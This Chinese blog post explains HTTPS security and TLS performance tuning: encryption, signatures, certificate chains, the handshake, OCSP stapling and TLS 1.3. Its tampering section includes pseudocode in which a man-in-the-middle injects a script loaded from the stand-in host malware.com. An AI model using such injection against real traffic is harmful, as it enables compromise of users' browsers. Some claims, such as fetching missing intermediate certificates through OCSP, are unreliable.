一道面试题,开始性能优化之旅(3)-- DNS查询+TCP(二)

149 阅读12分钟

接上篇,还是这张图

image.png

我们看到最后有一个 SSL Negotiation的耗时,这个又是什么呢? 接下来我就来聚焦 SSL流程,以及 HTTPS协议的意义

HTTP协议的 安全缺陷!

一、明文传输:数据裸奔,易被监听

▍ 攻击原理

flowchart LR
    A[用户浏览器] -- HTTP明文请求 --> B[路由器/防火墙]
    B -- 复制流量 --> C[黑客设备]
    B --> D[目标服务器]
  • 传输内容:账号密码、信用卡号、聊天记录等未经加密
  • 监听工具
    • 公共WiFi抓包(Wireshark)
    • ISP(运营商)流量监控
    • 防火墙中间件扫描

▍ 真实案例

用户在咖啡店用HTTP登录邮箱:
GET /login?user=admin&pass=123456 HTTP/1.1
黑客在同一网络嗅探,直接获取密码


二、数据篡改:内容可被恶意修改

▍ 攻击流程

sequenceDiagram
    participant U as 用户
    participant H as 黑客设备
    participant S as 服务器
    U->>H: 请求下载软件安装包
    H->>S: 转发请求
    S-->>H: 返回正版软件 (大小 80MB)
    H->>U: 将软件替换为含病毒的版本 (大小 79.5MB)
  • 篡改方式
    1. 插入广告代码
    2. 替换下载文件
    3. 修改转账收款账户

▍ 技术实现

黑客通过 ARP欺骗DNS劫持 成为中间人: (ARP欺骗和DNS劫持是两种经典的中间人攻击(Man-in-the-Middle,MitM)技术, 它们通过劫持网络通信路径将黑客设备插入到用户与目标服务器的通信链路中。以下是它们的运作原理和技术细节:

# 伪代码:中间人篡改响应
if response.content_type == "text/html":
    injected_code = "<script src='http://malware.com/tracker.js'>"
    response.body = response.body.replace("body>", injected_code + "</body>")

三、身份伪造:无法验证对方真伪

▍ 钓鱼网站攻击

flowchart TD
    A[用户] -->|访问 http://www.paypa1.com| B(黑客服务器)
    B -->|模仿PayPal登录页| A
    A -->|输入密码| B
    B -->|盗取密码| C[黑客数据库]
  • 视觉欺骗
    http://www.paypa1.com(字母l替换为数字1
  • 无证书验证:HTTP 无机制验证服务器身份真伪

▍ 企业级风险

员工访问伪造的 http://intra.corp.com(真实域名为 https://intra.corp.com),导致:

  1. 泄露商业机密
  2. 触发勒索软件

HTTPS协议为什么安全?

我们将针对HTTP协议不安全的三个原因,逐一解释 HTTPS协议如何解决这三个问题

明文传输如何解决

对称加密和非对称加密

一、对称加密:效率高但密钥分发难

1. 核心特性

graph LR
    A[明文] -->|密钥K| B(加密算法)
    B --> C[密文]
    C -->|密钥K| D(解密算法)
    D --> A
  • 密钥关系:加密密钥 = 解密密钥(K_encrypt = K_decrypt

4. 致命缺陷:密钥分发问题

sequenceDiagram
    participant A as 客户端
    participant B as 服务器
    A->>B: 我想用AES-256加密通信!
    B->>A: 同意!但如何安全传递密钥?
    Note right of A: 若通过网络明文发送密钥<br>黑客截获后所有通信将被破解
  • 困境:安全传递密钥需要加密通道,但建立通道又需要密钥(死循环)

有困难,就有解法,解法就是非对称加密

二、非对称加密:解决密钥分发难题

1. 核心突破:公私钥分离

非对称加密的破局方法

sequenceDiagram
    Client->>Server: 请求服务器的公钥PK_s
    Server->>Client: 发送PK_s(即使被黑客截获也无害)
    Client->>Client: 生成随机会话密钥K
    Client->>Server:   → {K}_PK_s
    Hacker-->>Hacker: 截获{K}_PK_s,但无法解密(缺少私钥)
    Server->>Server: 用私钥SK_s解密获得K
    Note over Client,Server: 后续用K进行对称加密通信
graph LR
    P[公钥 Public Key] -->|可公开分发| A
    S[私钥 Private Key] -->|仅自己持有| B
    A -->|加密数据| C[密文]
    C -->|私钥解密| B

关键突破
公钥公开性:PK_s可明文传输(黑客获取后无用)
私钥独占性:只有服务器能用SK_s解密{K}_PK_s
会话密钥安全:K从未以明文形式出现在网络中

关键结论

加解密速度对比(相同安全强度)

操作非对称加密 (RSA-2048)对称加密 (AES-256)性能差距
加密/解密 1KB数据0.5 ms0.003 ms166倍
吞吐量~10 MB/s~1.5 GB/s150倍
  1. 对称加密
    • 优势:速度快(AES: 1GB/s以上)
    • 死穴:密钥分发需安全通道
  2. 非对称加密
    • 突破:建立初始信任通道
    • 瓶颈:性能差且不适用大数据
  3. HTTPS的智慧
        title HTTPS加密类型占比
        “对称加密(业务数据)” : 99.9%
        “非对称加密(密钥交换)” : 0.1%
    
    • 用非对称加密的0.1%开销
      换取对称加密99.9%的高效安全通信
  • 用1%的非对称开销 换取 99%的对称加密高效性

数据篡改如何解决

其实解法依然是上文提到的 非对称加密

一、签名流程详解(结合实例)

假设B要向A发送消息 "转账100元"

sequenceDiagram
    participant B as 服务器B
    participant A as 客户端A
    B->>B: 步骤1: 计算消息摘要
    Note right of B: 原文 = "转账100元"br>摘要(B) = SHA-256(原文) → "a1b2c3..."
    B->>B: 步骤2: 用私钥加密摘要
    Note right of B: 签名 = RSA_Encrypt("a1b2c3...", B的私钥) → "x9y8z7..."
    B->>A: 步骤3: 发送(原文, 签名) = ("转账100元", "x9y8z7...")
    A->>A: 步骤4: 计算接收消息摘要
    Note left of A: 摘要(A) = SHA-256("转账100元") → "a1b2c3..."
    A->>A: 步骤5: 用B的公钥解密签名
    Note left of A: 解密结果 = RSA_Decrypt("x9y8z7...", B的公钥) → "a1b2c3..."
    A->>A: 步骤6: 验证摘要(A) == "a1b2c3..." ?

二、为什么能实现安全目标?

1. 身份认证原理

  • 只有B的私钥能生成可被B公钥解密的签名

graph TD

    伪造者 --"尝试用假私钥签名"--> 生成伪签名

    A["验证者A"] --"用B的公钥解密伪签名"--> 得到乱码

    得到乱码 --"≠ 正确摘要"--> 验证失败[验证失败]

2. 数据完整性原理

  • 若黑客篡改消息为 "转账1000元"
    # 接收方A计算摘要
    摘要(A) = SHA-256("转账1000元") = "d4e5f6..."  # 与原始摘要完全不同
    
    # 解密签名得到原始摘要
    摘要(B) = RSA_Decrypt(签名, B公钥) = "a1b2c3..." 
    
    # 验证:"d4e5f6..." ≠ "a1b2c3..." → 立即发现篡改!
    

三、常见误区澄清

  1. 误区:签名是用私钥加密整个消息
    正解:仅加密摘要(哈希值),因为:

    • 非对称加密速度慢(处理大文件极慢)
    • 摘要固定长度(如32字节)适合签名
  2. 误区:有签名就不需要加密
    正解:签名不提供保密性!若需防窃听,必须额外加密:

    graph LR
        发送 --> 签名原文 --> 加密(签名+原文) --> 传输
        接收 --> 解密 --> 验签 --> 获取原文
    

数字签名的本质是:
用数学魔法将发送方身份与消息内容绑定

  • 🔑 私钥签名 → 生成“数字指纹+身份印章”
  • 🔍 公钥验签 → 验证“指纹未损+印章真实”

身份伪造如何解决

即使有了非对称加密,仍然需要一套机制来保证公钥传输的可靠性(不能被篡改)​,否则中间人可以自己先生成一堆密钥,在获取公钥的阶段把自己生成的公钥给客户端,然后用私钥加密信息和客户端通信,用服务器端下发的公钥和服务器端通信,由此完成对通信的监听和篡改而不被发现。

一、中间人攻击(MITM)的威胁

攻击流程

sequenceDiagram
    participant C as 客户端
    participant H as 黑客
    participant S as 服务器
    C->>S: 请求公钥
    H->>C: 拦截请求!伪造响应:发送黑客公钥PK_h
    C->>H: 用PK_h加密会话密钥K → {K}_PK_h
    H->>H: 用SK_h解密获得K
    H->>S: 用真实PK_s加密K → {K}_PK_s
    S->>H: 返回加密数据
    H->>C: 用K解密/篡改数据后重新加密
    Note over C,S: 黑客全程监听/篡改,客户端毫无察觉!

问题本质:客户端无法验证收到的公钥是否属于真实的服务器

二、数字证书:权威机构背书

证书的核心作用

将服务器的公钥与域名绑定,并由可信第三方(CA)签名担保
如同公安局为公民颁发身份证:

  • 公钥 = 持证人的照片
  • 域名 = 身份证姓名
  • CA签名 = 公安局防伪钢印

证书内容结构

证书内容:
  - 颁发对象: www.example.com       # 绑定的域名
  - 有效期: 2023-01-01  2024-01-01
  - 公钥: PK_s (服务器真实公钥)     # 核心安全要素
  - 颁发者: DigiCert Inc.           # CA机构身份
  - 数字签名: CA的私钥加密的哈希值   # 防伪关键!

三、证书如何防篡改?

验证流程(浏览器行为)-- 依然是 非对称加密

sequenceDiagram
    participant C as 浏览器
    participant S as 服务器
    S->>C: 发送证书(含PK_s和CA签名)
    C->>C: 步骤1: 计算证书内容哈希值 H1
    C->>C: 步骤2: 用CA公钥解密签名 → 得到H2
    alt H1 == H2
        C-->|验证通过| S: 确认证书未被篡改
    else
        C-->|警告!| 用户: "此网站不安全!"
    end

数学保障

  • 篡改证书内容 → 哈希值H1改变 → H1 ≠ H2
  • 伪造CA签名 → 无CA私钥无法生成有效签名

🔐 关键依赖
浏览器预置全球可信CA公钥列表(如VeriSign、GeoTrust等)


四、现实中的证书层级(信任链)

证书链示例

graph LR
    A[网站证书] -->|签名者| B[中间CA证书]
    B -->|签名者| C[根CA证书]
    C -->|预置在操作系统| D[根证书库]
  • 根CA证书:自签名,预装在全球操作系统(Windows/MacOS等)
  • 中间CA证书:由根CA授权签发,用于隔离风险(根CA离线存储)

🌰 访问B站时的证书链
www.bilibili.com ← 由 Sectigo RSA 签发 ← 由 USERTrust RSA 签发 ← 根证书 AddTrust External CA Root


结论:证书机制如何解决公钥信任

  1. 身份绑定
    → 证书将公钥与域名强关联(CA验证域名所有权)
  2. 防篡改保障
    → CA签名确保证书内容完整(哈希值+非对称加密)
  3. 信任锚点
    → 操作系统预置根证书建立初始信任

如果理解 信任锚点?


 初始信任来源 (信任锚点)

          ↓

  操作系统/浏览器预置的根证书 (Root CA Certificate)

          ↓

          签名验证

          ↓

      中间证书 (Intermediate CA Certificate)

          ↓

          签名验证

          ↓

    服务器证书 (SSL/TLS Certificate)

          ↓

  公钥绑定域名(如 www.example.com

关键解析

1.  什么是“信任锚点”(Trust Anchor)?

    *   定义: 信任链的绝对起点,一个预先被无条件信任的实体。

    *   核心问题: 如何让用户第一次访问某个网站时,就能信任从未见过的该网站证书?需要一个公认的、不可伪造的起点。

    *   解决方案: 这个起点就是根证书颁发机构(Root Certificate Authority, Root CA) 的自签名证书。

2.  “操作系统预置根证书”:

    *   预置: 当您安装操作系统(Windows, macOS, Linux)或浏览器(Chrome, Firefox, Edge)时,它们会预先内置(Pre-installed) 一个全球公认的、相对数量较少的可信根CA证书列表

    *   来源: 这些根证书来自VeriSign (DigiCert)、Sectigo、GlobalSign、Let's Encrypt (ISRG) 等权威商业CA,以及某些国家/地区的政府CA。

    *   管理: 操作系统和浏览器厂商(如Microsoft, Apple, Google, Mozilla)有严格的流程(如CA/B Forum标准)来审核哪些CA有资格将其根证书加入这个“可信根存储区”。

    *   物理体现: 这些根证书本身就是包含了根CA公钥和其自身数字签名(因为是自签名)的文件。

3.  “建立初始信任”:

    *   这是整个信任体系最底层、最根本的假设:我们预先信任这些操作系统/浏览器厂商内置的根CA是可靠的、不会作恶的。

    *   当我们访问一个HTTPS网站(如 https://www.example.com) 时:

        1.  服务器会发送其自身的证书(包含 www.example.com 的公钥)。

        2.  我们的浏览器/操作系统会沿着证书链向上追溯:

            *   检查服务器证书是否由某个**中间CA**签发(签名可被该中间CA证书的公钥验证)。

            *   检查该**中间CA证书**是否由**根CA**签发(签名可被根CA证书的公钥验证)。

        3.  关键一步: 浏览器检查这个**根CA证书**是否存在于自己**本地的可信根存储区**中。

            *   如果存在: 浏览器就信任这个根CA,因此信任它签发的中间CA,进而信任该中间CA签发的服务器证书,最终信任服务器证书里绑定的 www.example.com 的公钥。

            *   如果不存在: 浏览器会弹出严重警告(如 NET::ERR_CERT_AUTHORITY_INVALID),提示用户证书不可信,连接不安全。

SSL/TLS握手

刚才我们说的安全保证其实都是在 SSL/TLS握手 完成的

一、SSL/TLS 握手核心目标

  1. 身份认证 → 验证服务器身份(客户端可选认证)
  2. 密钥协商 → 生成仅双方知晓的会话密钥(Session Key)
  3. 加密参数协商 → 确定后续通信的加密算法(如AES-256-GCM)

二、握手流程详解(结合B站案例)

sequenceDiagram
    participant C as 客户端
    participant S as 服务器(www.bilibili.com)
    C->>S: 1. Client Hello
    Note left of C: - TLS版本<br>- 加密套件列表<br>- 随机数R1
    S->>C: 2. Server Hello
    Note right of S: - 选定加密套件<br>- 随机数R2<br>- 证书链
    S->>C: 3. Server Key Exchange (可选)
    S->>C: 4. Server Hello Done
    C->>S: 5. Client Key Exchange
    Note left of C: - 用服务器公钥加密随机数R3<br> (Pre-Master Secret)
    C->>S: 6. Change Cipher Spec
    Note left of C: "后续通信启用加密!"
    C->>S: 7. Finished (加密的握手摘要)
    S->>C: 8. Change Cipher Spec
    Note right of S: "确认启用加密!"
    S->>C: 9. Finished (加密的握手摘要)
    Note over C,S: 握手完成,开始加密传输数据!

三、关键步骤技术解析

1. 三个随机数生成会话密钥

我们可以简单理解为 会话密钥是通过这三个随机数生成的,而 R3是公钥加密传输的

随机数作用密钥生成公式
R1客户端生成Session Key =
R2服务器生成PRF(R1 + R2 + Pre-Master)
Pre-Master (R3)客户端加密后发送(PRF=伪随机函数)

🔐 安全本质
即使黑客截获R1、R2(明文传输),但无法解密R3(非对称加密保护)→ 无法推导会话密钥

2. Change Cipher Spec 的意义

  • 密码切换信号:通知对方“之后所有数据将用协商的密钥加密”
  • 双向确认:客户端和服务器各自发送一次,确保加密同步启用
  • 抓包证据:Wireshark中标记为 Handshake Type: Change Cipher Spec

3. Finished 消息的作用

  • 包含 所有握手消息的HMAC摘要
  • 双方验证:解密对方Finished消息 → 比对握手完整性 → 确认无中间人篡改

四、为什么需要2个RTT?深度抓包分析

image.png 以访问 www.bilibili.com 的抓包为例:

# 时序分析(单位:ms)
0.0  TCP三次握手完成         # RTT1开始
25.3 Client Hello → 
75.6 Server Hello ←         # RTT1结束 (延迟50ms)
75.6 Certificate ← 
75.6 Server Key Exchange ← 
75.6 Server Hello Done ← 
125.9 Client Key Exchange → # RTT2开始
125.9 Change Cipher Spec → 
125.9 Finished → 
175.2 Change Cipher Spec ←  # RTT2结束 (延迟49ms)
175.2 Finished ← 
175.2 开始传输加密数据       # 握手总耗时=175.2ms

关键结论

  • 必须等待服务器 Change Cipher Spec 才能发应用数据,因为:
    • 需要确认服务器已准备好解密数据
    • 避免半加密状态下的数据泄露

HTTPS性能的核心痛点

一、确保证书链完整:避免隐藏的RTT炸弹

问题场景

当服务器未返回完整证书链时:

sequenceDiagram
    participant B as 浏览器
    participant S as 服务器
    S->>B: 仅发送网站证书(缺少中间CA证书)
    B->>B: 发现证书链断裂
    B->>CA: 发起OCSP请求获取中间证书
    CA-->>B: 返回中间证书(新增1-RTT延迟!)
    B->>S: 继续握手

后果

  • 用户首次访问增加 300~1000ms延迟(尤其跨国网络)
  • 移动端弱网环境下可能直接导致超时

解决方案

  1. 服务端配置
    # Nginx 配置示例
    ssl_certificate /path/fullchain.pem;  # 必须包含站点证书+中间证书
    ssl_certificate_key /path/privkey.pem;
    
  2. 验证工具
    • openssl s_client -connect example.com:443 -showcerts
    • WebPageTest 的 "First View" 模式(模拟无缓存访问)

二、启用TLS 1.3:砍掉1个RTT的革命性升级

TLS 1.2 vs 1.3 握手对比

步骤TLS 1.2 (2-RTT)TLS 1.3 (1-RTT)
客户端首包仅协议参数协议参数+密钥材料(Key Share)
服务器响应证书+ServerKeyExchange证书+Finished+应用数据
客户端最后确认需Change Cipher Spec直接发送加密数据
总RTT21

抓包证据(Wireshark)

  • TLS 1.3握手后紧跟 Application Data,无二次确认
  • 节省时间 = 单向网络延迟(通常50~200ms)

部署建议

# 优先启用TLS 1.3
ssl_protocols TLSv1.3 TLSv1.2;
ssl_prefer_server_ciphers on;

三、慎用EV证书:消失的小绿锁与性能代价

为什么EV证书被淘汰?

  • 视觉提示失效:Chrome/Firefox已取消地址栏绿锁标识
  • 性能缺陷:强制触发OCSP在线验证(新增1-RTT)
    graph LR
        A[浏览器] -->|访问EV站点| B[请求OCSP响应]
        B -->|实时查询| C[CA服务器]
        C -->|返回签名| A
    
  • 性价比低:价格昂贵($200+/年),安全增益有限

替代方案
✅ 标准OV证书 + OCSP Stapling(见下文)


四、开启OCSP Stapling:消灭证书验证延迟

传统OCSP的问题

  • 浏览器需实时连接CA服务器 → 隐私泄露风险 + 延迟波动

OCSP Stapling原理

sequenceDiagram
    participant B as 浏览器
    participant S as 服务器
    participant CA
    S->>CA: 定期获取OCSP响应签名
    Note over S: 缓存签名(通常1-7天)
    B->>S: 发起HTTPS请求
    S->>B: 返回证书 + 附带的OCSP签名
    B->>B: 本地验证签名有效性

优势

  • 零额外RTT:验证数据随证书一并下发
  • 隐私保护:浏览器无需联系CA

配置方法(Nginx)

ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/chain_with_root.pem; # 包含根证书的链
resolver 8.8.8.8 valid=300s;

五、安全与性能的永恒博弈

核心取舍原则

安全增强措施性能代价适用场景
完整证书链0 RTT (配置正确时)必须做到
TLS 1.3-1 RTT (提升性能)现代服务器必启用
EV证书+OCSP+1 RTT不推荐
OCSP Stapling0 RTT强烈推荐
HSTS预加载0 RTT (首次除外)高安全站点建议
最终效果

当用户首次访问时,浏览器无需任何额外网络请求即可完成安全握手,
在1-RTT内开始传输加密数据——这是HTTPS性能优化的终极目标!

总结

本篇文章知识点较多,慢慢消化,下篇见!